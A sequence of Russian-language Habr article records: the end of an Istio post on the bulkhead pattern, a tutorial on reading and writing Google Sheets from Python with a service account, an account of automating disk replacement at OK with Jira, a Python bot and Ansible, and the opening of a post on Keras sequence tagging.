**Bulkhead** *(«перегородка»)* изолирует сбои в сервисах от поражения всей системы. Например, сервис B сломан, а другой сервис (клиент сервиса B) делает запрос к сервису B, в результате чего он израсходует свой пул потоков и не сможет обслуживать другие запросы (даже если они не относятся к сервису B). *(Прим. перев.: Более подробное описание паттерна можно найти, например, [здесь](https://docs.microsoft.com/en-us/azure/architecture/patterns/bulkhead).)*
Я опущу детали по реализации этих паттернов, потому что их легко найти в [официальной документации](https://istio.io/docs/tasks/traffic-management/circuit-breaking/), а также очень уже хочется показать аутентификацию и авторизацию, о чём и пойдёт речь в следующей части статьи.
P.S. от переводчика
-------------------
Читайте также в нашем блоге:
* «Назад к микросервисам вместе с Istio»: [часть 1 (знакомство с основными возможностями)](https://habr.com/ru/company/flant/blog/438426/), [часть 3 (аутентификация и авторизация)](https://habr.com/ru/company/flant/blog/443668/);
* «[Conduit — легковесный service mesh для Kubernetes](https://habr.com/ru/company/flant/blog/349496/)»;
* «[Что такое service mesh и почему он мне нужен [для облачного приложения с микросервисами]?](https://habr.com/ru/company/flant/blog/327536/)». | https://habr.com/ru/post/440378/ | null | ru | null |
# Google Sheets API + Python. Чтение и запись с Сервисным Аккаунтом Google Cloud
*Google Sheet* и *Sheets API* - классный (простой, бесплатный и универсальный) способ организовать хранение и анализ данных получаемых от своего сервиса. При условии что этих данных *не то чтобы очень много* и поступают они *не то чтобы очень часто*.
У меня таких задач хватает и решаю я их либо на Python, либо на PHP. Сегодня возьму в руки **Python**.
Доступ к Google API
-------------------
Чтобы писать из кода в Google Sheet нам нужен доступ к Google Sheets API, которое входит в библиотеку API Google Cloud Platform. Для этого нужно:
1. нужно создать проект в [Google Cloud Platform](https://console.cloud.google.com/)
2. подключить к проекту в Google Cloud Platform Sheets API
3. заполнить OAuth consent screen ( пользовательское соглашение )
4. создать либо OAuth Client ID, либо **Service Account**
5. я использую **Сервисный Аккаунт**, следовательно мне нужно дать сервисному аккаунту доступ к Google Sheet (электронной таблице) с уровнем *Редактор*, тогда я смогу писать из кода в эту таблицу
6. получить JSON файл с токеном доступа к сервисному аккаунту и положить его куда-то откуда код сможет его читать
В тексте это выглядит просто, однако в первый раз интерфейс Google Cloud Console выглядит как рубка звездолета. Куда жать не понятно, иные операции нельзя отменить, а некоторые важные данные можно получить только сразу после нажатия на кнопку и никак после (например json файл токена доступа сервисного доступа). *Поэтому страаашно!!!*
В первый раз мне пришлось закрыть ЭТО и пойти подышать....Но разобраться можно, попробуйте. А если не получится, то вот [Пост](https://azzrael.ru/google-cloud-platform-create-app) только про токены Google Cloud.
Как дать доступ к таблице Сервисному Аккаунту
---------------------------------------------
Просто беру емейл сервисного аккаунта и расшариваю доступ к электронной таблице Google Sheets, как если бы это был емейл гуглоаккаунта любого другого живого человека. И этому доступу нужно выдать права Редактора, чтобы с Сервисным аккаунтом писать в этот Google Sheet. На стороне Google Cloud ничего дополнительно делать не надо.
Уведомлять Сервисный Аккаунт тоже не обязательно - он же робот, вы чего ;)
Лимиты Google Sheets API
------------------------
Google *почти* ко всем своим API доступ выдает БЕСПЛАТНО и без премодерации (в тестовом режиме). Однако ограничивает. К некоторым апи ограничения сильные, а к Sheets API вполне приемлемые.
> Read requests per minute 300
> Read requests per minute per user 60
> Read requests per day Unlimited
>
> Write requests per minute 300
> Write requests per minute per user 60
> Write requests per day Unlimited
>
>
Каждый `execute()` тратит эти лимиты, даже если запрос не успешный. Остатки лимитов нельзя узнать программно, из кода. Только посмотреть в браузере в `https://console.cloud.google.com/apis/api/sheets.googleapis.com/quotas?project=`.
Зависимости для доступа к Sheets API из Python
----------------------------------------------
Мой [req.txt](https://github.com/Denis070/google-sheets/blob/video-1-sacc-reading/req.txt) выглядит вот так:
```
google-api-python-client
google-auth-httplib2
google-auth-oauthlib
oauth2client
```
Для Python есть пакеты специально для работы с Google Sheets API. Говорят они даже удобные и это, наверняка, так. Но я работаю не только с Sheets API, поэтому предпочитаю использовать большой и не очень удобный `google-api-python-client`
build ресурса для доступа к Google Sheets API на Python
-------------------------------------------------------
В `google-api-python-client` есть универсальный метод `googleapiclient.discovery.build` , который создает ресурс для работы с любым API Google и с Sheets API в частности. Но сначала нужно куда то в проекте сложить json файл токена доступа сервисного аккаунта.
build у меня в проекте выглядит вот так:
```
def get_service_sacc():
creds_json = os.path.dirname(__file__) + "/creds/sacc1.json"
scopes = ['https://www.googleapis.com/auth/spreadsheets']
creds_service = ServiceAccountCredentials.from_json_keyfile_name(creds_json, scopes).authorize(httplib2.Http())
return build('sheets', 'v4', http=creds_service)
```
**scopes** - это уровень доступа, который хочет наше приложение от Google API. Для задач чтения/записи/форматирования в Google Sheet с Сервисным Аккаунтом `https://www.googleapis.com/auth/spreadsheets` достаточно.
> Такое приложение (с Сервисным Аккаунтом) не будет ничего просить от пользователя через браузер, как было бы с OAuth авторизацией. Удобно.
>
>
Как узнать spreadsheet\_id Google Sheet
---------------------------------------
Чтобы писать в электронную таблицу, нужно знать её идентификатор. Также нам может понадобиться (при форматировании уж точно) идентификатор листа в электронной таблице. В браузере это все выглядит просто:
```
# https://docs.google.com/spreadsheets/d/1IfE0sBAkKvhB6F8zHkEozEE0jpwhAU_G4UubwKTV1Bk/edit#gid=758897038
# https://docs.google.com/spreadsheets/d//edit#gid=
```
Как читать из Google Sheet с API на Python?
-------------------------------------------
Для чтения у нас есть два метода [spreadsheets().values().get()](https://developers.google.com/sheets/api/reference/rest/v4/spreadsheets.values/get) и [spreadsheets().values().batchGet()](https://developers.google.com/sheets/api/reference/rest/v4/spreadsheets.values/batchGet) . В аргументы им передается идентификатор электронной таблицы Google Sheet и диапазон для чтения.
Диапазон для чтения - это строка вида `"Лист!A1:Z999"`. Диапазоны, как видно, могут быть на разных листах электронной таблицы.
**batchGet** в отличии от **get** может запросить сразу, за один `execute()`, несколько диапазонов данных, что экономит квоты. Рекомендую сразу и везде использовать только батчевые методы.
```
resp = get_service_sacc().spreadsheets().values().get(spreadsheetId=sheet_id, range="Популярное!A1:A999").execute()
# resp = get_service_sacc().spreadsheets().values().batchGet(spreadsheetId=sheet_id, ranges=["Популярное", "Лист3"]).execute()
```
Запрос отправляется (и расходуются квоты) только по методу execute().
В ответ мы получаем json (dict), где все очевидно. В поле values двумерный массив с нужными данными.
### Как писать в Google Sheet с API на Python?
Для записи есть 3 метода:
* [append](https://developers.google.com/sheets/api/reference/rest/v4/spreadsheets.values/append) - пытается писать в заданный диапазон, если ячейки в заданном диапазоне заняты данными (не пусты), то пишет в ближайшую пустую ячейку ниже,
* [update](https://developers.google.com/sheets/api/reference/rest/v4/spreadsheets.values/update) - пишет в заданный диапазон, если ячейки заняты данными - он эти данные перезапишет новыми,
* [batchUpdate](https://developers.google.com/sheets/api/reference/rest/v4/spreadsheets.values/batchUpdate) - действует как update, но может за один запрос записать несколько пачек данных в разные диапазоны и сэкономить квоты.
Данные для всех этих методов передаются в аргументе body. Для append / update структура одинакова:
```
body = {
'values' : [
["Azzrael Code", "YouTube Channel"], # строка
["check it", "RIGHT NOW !!!"], # строка
]
}
```
Т.е. values - это простой двумерный массив. А запись выглядит вот так:
```
resp = sheet.values().update(
spreadsheetId=sheet_id,
range="Лист2!H1",
valueInputOption="RAW",
body=body).execute()
```
```
resp = sheet.values().append(
spreadsheetId=sheet_id,
range="Лист2!A1",
valueInputOption="RAW",
body=body).execute()
```
**range** - диапазон для записи, а **valueInputOption** : 'RAW' - значит данные буду писать в ячейку "как есть", не пытаясь, например, в строке разглядеть дату.
Со структурой **body** для **batchUpdate** посложнее, но не сильно:
```
body = {
'valueInputOption' : 'RAW',
'data' : [
{'range' : 'Лист2!D2', 'values' : [
["Azzrael Code", "YouTube Channel"],
["More about", "Google Sheets API"],
["styling", "formulas", "charts"],
]},
{'range' : 'Лист2!H4', 'values' : [
["Azzrael Code", "YouTube Channel"],
["More about", "Google Sheets API"],
["styling", "formulas", "charts"],
]}
]
}
```
Нужно ли тут что-то объяснять? Напишите в комментарий, если все таки надо...
Ну а метод даже проще чем у **update** / **append** :
```
resp = sheet.values().batchUpdate(spreadsheetId=sheet_id, body=body).execute()
```
Конечно есть, особенно при записи, некоторые тонкости. Особенно когда речь заходит про форматирование - все эти строки которые вдруг становятся датами, когда не надо. Числа которые стали строками... Но что-то и так много текста вышло, поэтому пока закругляюсь.
Полезные ссылки
---------------
* [Документация Google Sheets API](https://developers.google.com/sheets/api/reference/rest). Доки, кстати, очень хорошие. Не все API Google так хорошо задокументированы.
* На Хабре есть [хорошая статья](https://habr.com/ru/post/305378/), жаль мне поздно попалась.
* Все что в статье - есть в оформленном виде на [GitHub](https://github.com/Denis070/google-sheets) ( темы разбросаны по веткам репозитория, просто переключайтесь ). | https://habr.com/ru/post/575160/ | null | ru | null |
# Автоматизация замены дисков с помощью Ansible
Всем привет. Я работаю ведущим системным администратором в ОК и отвечаю за стабильную работу портала. Хочу рассказать о том, как мы выстроили процесс автоматической замены дисков, а затем, как исключили из этого процесса администратора и заменили его ботом.
Эта статья является своего рода транслитерацией [выступления](https://www.youtube.com/watch?v=5WhbG3FQveE&list=FLKN7KW1sxju7fWJvKuyKxEQ) на HighLoad+ 2018
Построение процесса по замене дисков
------------------------------------
### Сначала немного цифр
ОК — это гигантский сервис, которым пользуются миллионы людей. Его обслуживают около 7 тыс. серверов, которые расположены в 4 разных дата-центрах. В серверах стоит более 70 тыс. дисков. Если сложить их друг на друга, то получится башня высотой более 1 км.
Жёсткие диски — это компонент сервера, который выходит из строя чаще всего. При таких объемах нам приходится менять около 30 дисков в неделю, и эта процедура стала не очень приятной рутиной.
### Инциденты
У нас в компании введен полноценный инцидент-менеджмент. Каждый инцидент мы фиксируем в Jira, а затем решаем и разбираем. Если инцидент был с эффектом для пользователей, то мы обязательно собираемся и думаем, как быстрее реагировать в таких случаях, как снизить эффект и конечно же как предотвратить повторение.
Накопители не исключение. За их состоянием следит Zabbix. Мы мониторим сообщения в Syslog на предмет ошибок записи/чтения, анализируем состояние HW/SW-рейдов, следим за SMART, для SSD вычисляем износ.
### Как менялись диски раньше
Когда в Zabbix загорается какой-то триггер, в Jira создаётся инцидент и автоматически ставится на соответствующих инженеров в дата-центрах. Мы так делаем со всеми HW-инцидентами, то есть такими, которые требуют какой-либо физической работы с оборудованием в дата-центре.
Инженер дата-центра — это человек, который решает вопросы, связанные с железом, отвечает за установку, обслуживание, демонтаж серверов. Получив тикет, инженер приступает к работе. В дисковых полках он меняет диски самостоятельно. Но если у него нет доступа к нужному устройству, инженер обращается к дежурным системным администраторам за помощью. В первую очередь нужно вывести диск из ротации. Для этого нужно сделать необходимые изменения на сервере, остановить приложения, отмонтировать диск.
Дежурный системный администратор в течение рабочей смены отвечает за работу всего портала. Он расследует инциденты, занимается ремонтом, помогает разработчикам выполнять небольшие задачи. Не занимается он только жёсткими дисками.
Раньше инженеры дата-центров общались с системным администратором в чате. Инженеры слали ссылки на Jira-тикеты, администратор проходил по ним, вёл лог работ в каком-нибудь блокноте. Но для таких задач чаты неудобны: информация там не структурирована и быстро теряется. Да и администратор мог просто отойти от компьютера и какое-то время не отвечать на запросы, а инженер стоял у сервера с пачкой дисков и ждал.
Но самое плохое было в том, что администраторы не видели картины целиком: какие существуют дисковые инциденты, где потенциально может возникнуть проблема. Это связано с тем, что мы все HW-инциденты отдаём инженерам. Да, можно было отобразить все инциденты на дэшборде администратора. Но их очень много, и администратор привлекался лишь по некоторым из них.
Кроме того, инженер не мог корректно расставить приоритеты, потому что он ничего не знает о назначении конкретных серверов, о распределении информации по накопителям.
### Новая процедура замены
Первое, что мы сделали, это вынесли все дисковые инциденты в отдельный тип «HW-диск» и добавили к нему поля «имя блочного устройства», «размер» и «тип диска», чтобы эта информация сохранялась в тикете, и не приходилось ей постоянно обмениваться в чате.
Также мы договорились, что в рамках одного инцидента будем менять только один диск. Это существенно упростило в дальнейшем процесс автоматизации, сбор статистики и работу.
Кроме этого добавили поле «ответственный администратор». Туда автоматически подставляется дежурный сисадмин. Это очень удобно, потому что теперь инженер всегда видит, кто ответственный. Не нужно идти в календарь и искать. Именно это поле позволило вынести на дэшборд администратора тикеты, в которых, возможно, понадобится его помощь.
Чтобы все участники получали максимум выгоды от нововведений, мы создали фильтры и дэшборды, рассказали о них ребятам. Когда люди понимают изменения, они не дистанцируются от них, как от чего-то ненужного. Инженеру важно знать номер стойки, где располагается сервер, размер и тип диска. Администратору нужно, в первую очередь, понимать, что это за группа серверов, какой может быть эффект при замене диска.
Наличие полей и их отображение — это удобно, но от необходимости использовать чаты нас это не избавило. Для этого пришлось менять рабочий процесс.
Раньше он был таким:
Сегодня так продолжают работать инженеры, когда им не требуется помощь администратора.
Первое, что мы сделали, — ввели новый статус **Investigate**. В этом статусе тикет находится, когда инженер ещё не решил, нужен ему будет администратор или нет. Через этот статус инженер может передать тикет администратору. Кроме того, этим статусом мы помечаем тикеты, когда требуется замена диска, но самого диска на площадке нет. Такое бывает в случае CDN и удаленных площадок.
Также мы добавили статус **Ready**. В него тикет переводится после замены диска. То есть всё уже сделано, но на сервере синхронизируется HW/SW RAID. Это может занимать довольно много времени.
Если к работе привлекается администратор, схема немного усложняется.
Из статуса **Open** тикет может перевести как системный администратор, так и инженер. В статусе **In progress** администратор выводит диск из ротации, чтобы инженер мог его просто вытащить: включает подсветку, отмонтирует диск, останавливает приложения, в зависимости от конкретной группы серверов.
Затем тикет переводится в **Ready to change**: это сигнал инженеру, что диск можно вытаскивать. Все поля в Jira уже заполнены, инженер знает, какой тип и размер диска. Эти данные проставляются либо на предыдущем статусе автоматически или администратором.
После замены диска тикет переводится в статус **Changed**. Проверяется, что вставили нужный диск, делается разметка, запускается приложение и какие-то задачи по восстановлению данных. Также тикет может быть переведён в статус **Ready**, в этом случае ответственным останется администратор, потому что он заводил диск в ротацию. Полная схема выглядит так.
Добавление новых полей существенно облегчило нам жизнь. Ребята стали работать со структурированной информацией, стало ясно, что и на каком этапе нужно делать. Приоритеты стали намного релевантнее, так как теперь их выставляет администратор.
Отпала необходимость в чатах. Конечно, администратор может написать инженеру «здесь нужно заменить быстрее», или «уже вечер, успеешь заменить?». Но мы уже не общаемся ежедневно в чатах по этим вопросам.
Диски стали менять пачками. Если администратор пришел на работу чуть пораньше, у него есть свободное время, и еще ничего не случилось, он может подготовить ряд серверов к замене: проставить поля, вывести диски из ротации и передать задачу инженеру. Инженер чуть позже приходит в дата-центр, видит задачу, берёт со склада нужные накопители и сразу меняет. В результате скорость замены увеличилась.
### Вынесенный опыт при построении Workflow
* **При построении процедуры нужно собирать информацию из разных источников.**
Некоторые наши администраторы не знали, что инженер меняет диски самостоятельно. Некоторые считали, что за синхронизацией MD RAID следят инженеры, хотя у кого-то из них даже не было доступа для этого. Некоторые ведущие инженеры это делали, но не всегда, потому что процесс нигде не был описан.
* **Процедура должна быть простой и понятной.**
Человеку тяжело держать в голове множество шагов. Самые главные соседние статусы в Jira нужно выносить на главный экран. Можно их переименовать, например, In progress мы называем Ready to change. А остальные статусы можно прятать в выпадающее меню, чтобы они не мозолили глаза. Но лучше не ограничивать людей, дать возможность сделать переход.
Разъясняйте ценность нововведений. Когда люди понимают, они лучше принимают новую процедуру. Для нас было очень важно, чтобы люди не прокликивали весь процесс, а шли по нему. Потом мы строили на этом автоматизацию.
* **Ждать, анализировать, разбираться.**
У нас ушло около месяца на построение процедуры, техническую реализацию, встречи и обсуждения. А на внедрение — больше трёх месяцев. Я видел, как люди потихоньку начинают пользоваться нововведением. На первых этапах было много негатива. Но он совершенно не зависел от самой процедуры, её технической реализации. Например, один администратор пользовался не Jira, а Jira-плагином в Confluence, и некоторые вещи были ему недоступны. Показали ему Jira, у админа выросла продуктивность и по общим задачам, и по заменам дисков.
Автоматизация замены дисков
---------------------------
К автоматизации замены дисков мы подступались несколько раз. У нас уже были наработки, скрипты, но все они работали либо в интерактивном, либо в ручном режиме, требовали запуска. И только после внедрения новой процедуры мы поняли, что как раз её нам не хватало.
Так как теперь процесс замены у нас разбит на этапы, за каждым из которых определён исполнитель и список действий, мы можем включать автоматизацию поэтапно, а не сразу целиком. Например, самый простой этап — Ready (проверка синхронизации RAID/данных) можно легко делегировать боту. Когда бот чуть обучится, можно ему дать более ответственную задачу — ввод диска в ротацию итд.
### Зоопарк сетапов
Прежде чем рассказывать про бота, совершим небольшой экскурс в наш зоопарк инсталляций. В первую очередь он обусловлен гигантским размером нашей инфраструктуры. Во-вторых, под каждый сервис мы стараемся подобрать оптимальную конфигурацию железа. У нас около 20 моделей аппаратных RAID, в основном LSI и Adaptec, но встречаются и HP, и DELL разных версий. Каждый RAID-контроллер имеет свою утилиту управления. Набор команд и выдача по ним может отличаться от версии к версии у каждого RAID-контроллера. Там, где не используются HW-RAID, может быть mdraid.
Практически все новые инсталляции мы делаем без дискового резервирования. Мы стараемся больше не использовать аппаратные и софтовые RAID, так как резервируем наши системы на уровне дата-центров, а не серверов. Но конечно есть много legacy-серверов, которые нужно поддерживать.
Где-то диски в RAID-контроллерах прокидываются raw устройства, где-то используются JBOD. Есть конфигурации с одним системным диском в сервере, и если его нужно заменить, то приходится перераскатывать сервер с установкой ОС и приложений, причем тех же версий, потом добавлять конфигурационные файлы, запускать приложения. Также очень много групп серверов, где резервирование осуществляется не на уровне дисковой подсистемы, а непосредственно в самих приложениях.
В общей сложности у нас более 400 уникальных групп серверов, на которых работает около 100 различных приложений. Чтобы покрыть такое огромное количество вариантов, нам нужен был многофункциональный инструмент автоматизации. Желательно с простым DSL, чтобы поддерживать мог не только тот, кто это написал.
Мы выбрали Ansible, потому что он agentless: не нужно было подготавливать инфраструктуру, быстрый старт. К тому же, он написан на Python, который принят как стандарт в команде.
### Общая схема
Давайте рассмотрим общую схему автоматизации на примере одного инцидента. Zabbix детектирует, что диск sdb вышел из строя, загорается триггер, создаётся тикет в Jira. Администратор посмотрел его, понял, что это не дубликат и не false positive, то есть нужно менять диск, и переводит тикет в In progress.
Приложение DiskoBot, написанное на Python, периодически опрашивает Jira на предмет новых тикетов. Оно замечает, что появился новый тикет In progress, срабатывает соответствующий thread, который запускает playbook в Ansible (это делается для каждого статуса в Jira). В данном случае запускается Prepare2change.
Ansible отправляется на хост, выводит диск из ротации и репортит статус приложению через Callbacks.
По результатам бот автоматически переводит тикет в Ready to change. Инженер получает уведомление и отправляется менять диск, после чего переводит тикет в Changed.
По вышеописанной схеме тикет попадает обратно к боту, тот запускает другой playbook, идет на хост и вводит диск в ротацию. Бот закрывает тикет. Ура!
Теперь поговорим о некоторых компонентах системы.
### Diskobot
Это приложение написано на Python. Оно выбирает тикеты из Jira в соответствии с JQL. В зависимости от статуса тикета последний попадает к соответствующему обработчику, который в свою очередь запускает соответствующий статусу Ansible playbook.
JQL и интервалы опроса определены в файле конфигурации приложения.
```
jira_states:
investigate:
jql: '… status = Open and "Disk Size" is EMPTY'
interval: 180
inprogress:
jql: '… and "Disk Size" is not EMPTY and "Device Name" is not EMPTY'
ready:
jql: '… and (labels not in ("dbot_ignore") or labels is EMPTY)'
interval: 7200
```
Например, среди тикетов в статусе In progress, выбираются только те у которых заполнены поля Disk size и Device name. Device name — это имя блочного устройства, нужного для выполнения playbook’а. Disk size нужен для того, чтобы инженер знал какого размера диск необходим.
А среди тикетов со статусом Ready отфильтровываются тикеты с лейблом dbot\_ignore. К слову, Jira лейблы мы используем как для подобной фильтрации, так и для маркирования дубликатов тикетов, и сбора статистики.
В случае сбоя playbook’а Jira присваивает лейбл dbot\_failed, чтобы впоследствии можно было разобраться.
### Взаимодействие с Ansible
Приложение взаимодействует с Ansible через [Ansible Python API](https://docs.ansible.com/ansible/latest/dev_guide/developing_api.html). В playbook\_executor мы передаем имя файла и набор переменных. Это позволяет держать Ansible-проект в виде обычных yml-файлов, а не описывать его в Python-коде.
Также в Ansible через \*extra\_vars\* передаются имя блочного устройства, статус тикета, а также callback\_url, в котором зашит issue key — он используется для callback в HTTP.
Для каждого запуска генерируется временный inventory, состоящий из одного хоста и группы, в которую входит этот хост, чтобы применились group\_vars.
Вот пример таска, в котором реализован HTTP callback.
Результат выполнения playbook’ов мы получаем с помощью callaback(-ов). Они двух типов:
* [Ansible callback plugin](https://docs.ansible.com/ansible/latest/plugins/callback.html), он предоставляет данные по результатам выполнения playbook’а. Там описаны задачи, которые были запущены, выполнены удачно или неудачно. Этот callback вызывается по окончанию проигрывания playbook’а.
* HTTP callback для получения информации во время проигрывания playbook’а. В Ansible таске выполняем POST/GET запроc в строну нашего приложения.
Через HTTP callback(-и) передаются переменные, которые были определены при выполнении playbook’а и которые мы хотим сохранить и использовать в последующих запусках. Эти данные мы пишем в sqlite.
Также через HTTP callback мы оставляем комментарии и изменяем статус тикета.
**HTTP callback**
```
# Make callback to Diskobot App
# Variables:
# callback_post_body: # A dict with follow keys. All keys are optional
# msg: If exist it would be posted to Jira as comment
# data: If exist it would be saved in Incident.variables
# desire_state: Set desire_state for incident
# status: If exist Proceed issue to that status
- name: Callback to Diskobot app (jira comment/status)
uri:
url: "{{ callback_url }}/{{ devname }}"
user: "{{ diskobot_user }}"
password: "{{ diskobot_pass }}"
force_basic_auth: True
method: POST
body: "{{ callback_post_body | to_json }}"
body_format: json
delegate_to: 127.0.0.1
```
Как и многие однотипные таски, мы вынесли его в отдельный common file и включаем при необходимости, чтобы не повторять постоянно в playbook’ах. Здесь фигурирует callback\_ url, в котором зашиты issue key и host name. Когда Ansible выполняет этот POST-запрос, бот понимает, что он пришел в рамках такого-то инцидента.
А вот пример из playbook’а, в котором мы выводили диск из MD-устройства:
```
# Save mdadm configuration
- include: common/callback.yml
vars:
callback_post_body:
status: 'Ready to change'
msg: "Removed disk from mdraid {{ mdadm_remove_disk.msg | comment_jira }}"
data:
mdadm_data: "{{ mdadm_remove_disk.removed }}"
parted_info: "{{ parted_info | default() }}"
when:
- mdadm_remove_disk | changed
- mdadm_remove_disk.removed
```
Данный таск переводит Jira тикет в статус «Ready to change» и добавляет комментарий. Также в переменной mdam\_data сохраняется список md-устройств, из которых был удален диск, а в parted\_info — дамп партиции от parted.
Когда инженер вставит новый диск, мы сможем использовать эти переменные, чтобы восстановить дамп партиций, а также завести диск в те md-устройства, из которых он был удален.
### Ansible check mode
Включать автоматику было страшно. Поэтому мы решили запускать все playbook’и в режиме
[dry run](https://docs.ansible.com/ansible/latest/user_guide/playbooks_checkmode.html), в котором Ansible не выполняет на серверах никаких действий, а только эмулирует их.
Такой запуск прогоняется через отдельный callback-модуль, а результат выполнения playbook’а сохраняем в Jira в виде комментария.
Во-первых, это позволило валидировать работу бота и playbook’ов. Во-вторых, повысило доверие администраторов к боту.
Когда мы прошли валидацию и поняли, что можно запускать Ansible не только в режиме dry run, то сделали в Jira кнопку Run Diskobot для запуска того же playbook’а с теми же самыми переменными на том же самом хосте, но в обычном режиме.
Кроме того, кнопка используется для повторного запуска playbook’а в случае его сбоя.
### Структура Playbooks
Я уже упоминал, что в зависимости от статуса Jira-тикета, бот запускает разные playbook’и.
Во-первых, так намного проще организовать вход.
Во-вторых, в некоторых случаях это просто необходимо.
К примеру, при замене системного диска нужно в первую очередь пойти в систему развёртывания, создать задачу, и после корректного развёртывания сервер станет доступен по ssh, и можно на него накатить приложение. Если бы мы делали всё это в одном плейбуке, то Ansible не смог бы его выполнить из-за недоступности хоста.
Мы используем Ansible-роли для каждой группы серверов. Здесь видно, как организованны playbook(-и) в одной из них.
Это удобно, потому что сразу понятно, где какие таски расположены. В main.yml, который является входом для Ansible-роли, у нас может быть просто include по статусу тикета или общие таски, необходимые для всех, например, прохождение идентификации или получение токена.
#### Investigation.yml
Запускается для тикетов в статусе Investigation и Open. Самое важное для этого playbook’а — имя блочного устройства. Эта информация не всегда доступна.
Для её получения мы анализируем Jira summary, последнее значение от Zabbix-триггера. Там может содержаться имя блочного устройства — повезло. А может содержаться mount point, — тогда нужно пойти на сервер, пропарсить и вычислить нужный диск. Также триггер может передать scsi-адрес или какую-то другую информацию. Но бывает и так, что никаких зацепок нет, и приходится анализировать.
Выяснив имя блочного устройства, мы собираем по нему информацию о типе и размере диска для заполнения полей в Jira. Также снимаем информацию о вендоре, модели, прошивке, ID, SMART, и всё это вставляем в комментарий в Jira-тикете. Администратору и инженеру теперь не нужно искать эти данные. :)
#### prepare2change.yml
Вывод диска из ротации, подготовка к замене. Cамый сложный, ответственный этап. Именно здесь можно остановить приложение, когда его нельзя останавливать. Или вытащить диск, у которого не хватало реплик, и тем самым оказать эффект на пользователей, потерять какие-то данные. Здесь у нас больше всего проверок и нотификаций в чате.
В самом простом случае речь идёт об удалении диска из HW/MD RAID.
В более сложных ситуациях (в наших системах хранения), когда резервирование выполняется на уровне приложения, необходимо пойти в приложение по API, сообщить о выводе диска, деактивировать его и запустить восстановление.
Мы сейчас массово мигрируем в [облако](https://habr.com/company/odnoklassniki/blog/346868), и если сервер облачный, то Diskobot обращается к API облака, говорит, что он собирается работать с этим миньоном — сервером, на котором запущены контейнеры, — и просит «смигрируй все контейнеры с этого миньона». И заодно включает подсветку диска, чтобы инженер сразу увидел, какой нужно вытаскивать.
#### changed.yml
После замены диска мы в первую очередь проверяем его доступность.
Инженеры не всегда ставят новые диски, поэтому мы добавили проверку удовлетворяющих нас значений SMART.
**Какие атрибуты мы смотрим**
Reallocated Sectors Count (5) < 100
Current Pending Sector Count (107) == 0
Если диск не проходит проверку, инженеру сообщается о повторной замене. Если всё в порядке, подсветка выключается, наносится разметка и диск вводится в ротацию.
#### ready.yml
Cамый простой случай: проверка синхронизации HW/SW raid или окончание синхроназации данных в приложении.
### API приложений
Я несколько раз упоминал о том, что часто бот обращается к API приложений. Конечно, не у всех приложений были необходимые методы, поэтому пришлось их доработать. Вот самые важные методы, которые мы используем:
* Status. Статус кластера или диска, чтобы понять можно ли с ним работать;
* Start/stop. Активация-деактивация диска;
* Migrate/restore. Миграция и восстановление данных во время и после замены.
### Вынесенный опыт по Ansible
Я очень люблю Ansible. Но часто, когда смотрю на разные opensource-проекты и вижу, как люди пишут playbook’и, мне становится немного страшно. Сложные логические переплетения из when/loop, отсутствие гибкости и идемпотентности из-за частого использования shell/command.
Мы решили максимально всё упростить, воспользовавшись преимуществом Ansible — модульностью. На самом верхнем уровне находятся playbook’и, их может писать любой администратор, сторонний разработчик, который чуть-чуть знает Ansible.
```
- name: Blink disk
become: True
register: locate_action
disk_locate:
locate: '{{ locate }}'
devname: '{{ devname }}'
ids: '{{ locate_ids | default(pd_id) | default(omit) }}'
```
Если какую-то логику сложно реализовать в playbook’ах, мы выносим её в Ansible-модуль или фильтр. Скрипты могут быть написаны как на Python, так и на любом другом языке.
Их легко и быстро писать. Например, модуль подсветки диска, пример использования которого приведен выше, состоит из 265 строк.
На самом нижнем уровне находится библиотека. Для этого проекта мы написали отдельное приложение, своего рода абстракцию над аппаратными и софтовыми RAID, которые выполняют соответствующие запросы.
Самые сильные стороны Ansible — это простота и понятные playbook’и. Я считаю, что нужно этим пользоваться и не генерировать страшные yaml-файлы и огромное количество условий, shell-кода и лупов.
Если вы захотите повторить наш опыт с Ansible API, имейте в виду две вещи:
* Playbook\_executor и вообще playbook’у нельзя передать таймаут. Есть таймаут на ssh-сессии, но нет таймаута на playbook. Если мы пытаемся отмонтировать диск, который в системе уже не существует, playbook будет выполняться бесконечно, поэтому пришлось обернуть его запуск в отдельный wrapper и убивать по таймауту.
* Ansible работает на базе fork-процессов, поэтому его API не потокобезопасно. Мы запускаем все наши playbook’и однопоточно.
В итоге нам удалось автоматизировать замену около 80 % дисков. В целом скорость замены выросла в два раза. Сегодня администратор лишь смотрит на инцидент и принимает решение, нужно ли менять диск или нет, а затем делает один клик.
Но теперь мы начинаем сталкиваться с другой проблемой: некоторые новые администраторы не знают, как менять диски. :) | https://habr.com/ru/post/452110/ | null | ru | null |
# Получение параметров команды из человеческой фразы
Хотя мне и [удалось разобраться](https://habrahabr.ru/post/348224/) с классификацией интента, осталась более сложная задача — выцепить из фразы дополнительные параметры. Я знаю, что это делается с помощью тегов. Один раз я уже успешно применил [sequence\_tagging](https://guillaumegenthial.github.io/sequence-tagging-with-tensorflow.html), но я не очень рад тому, что нужно держать словарь векторных представлений слов размером больше 6 гигабайт.
#### Попытка нулевая
Я нашел [пример реализации теггера на Keras](https://blog.keras.io/a-ten-minute-introduction-to-sequence-to-sequence-learning-in-keras.html) и, в лучших традициях своих экспериментов, начал бездумно копировать оттуда куски кода. В примере нейросеть обрабатывает входную строку как последовательность символов, не разделяя ее на слова. Но дальше по тексту есть пример с использованием Embedding слоя. А раз я научился использовать hashing\_trick, то я почувствовал острое желание воспользоваться этим навыком.
То, что у меня получилось, обучалось значительно медленнее, чем классификатор. Я включил в Keras отладочный вывод, и, задумчиво глядя на медленно появляющиеся строчки, обратил внимание на значение Loss. Оно не особенно убывало, при этом мне оно показалось достаточно большим. А accuracy при этом была маленькой. Сидеть и ждать результата мне было лень, поэтому я вспомнил одну из рекомендаций Andrew Ng — попробовать свою нейросеть на меньшем по размеру набору учебных данных. По виду зависимости Loss от количества примеров можно оценить, стоит ли ожидать хороших результатов.
Поэтому я остановил обучение, сгенерил новый набор учебных данных — в 10 раз меньше предыдущего — и снова запустил обучение. И почти сразу получил тот же самый Loss и тот же самый Accuracy. Получается, что от увеличения числа учебных примеров лучше не станет.
Я все-таки дождался окончания обучения (около часа, при том, что классификатор обучался за несколько секунд) и решил ее опробовать. И понял, что копировать надо было больше, потому что в случае seq2seq для обучения и для реальной работы нужны разные модели. Еще немного поковырялся с кодом и решил остановиться и подумать, что делать дальше.
Передо мной был выбор — снова взять готовый пример, но уже без самодеятельности, либо же взять [готовый seq2seq](https://github.com/farizrahman4u/seq2seq), или же вернуться к инструменту, который у меня уже работал — sequence tagger на NERModel. Правда чтобы без GloVe.
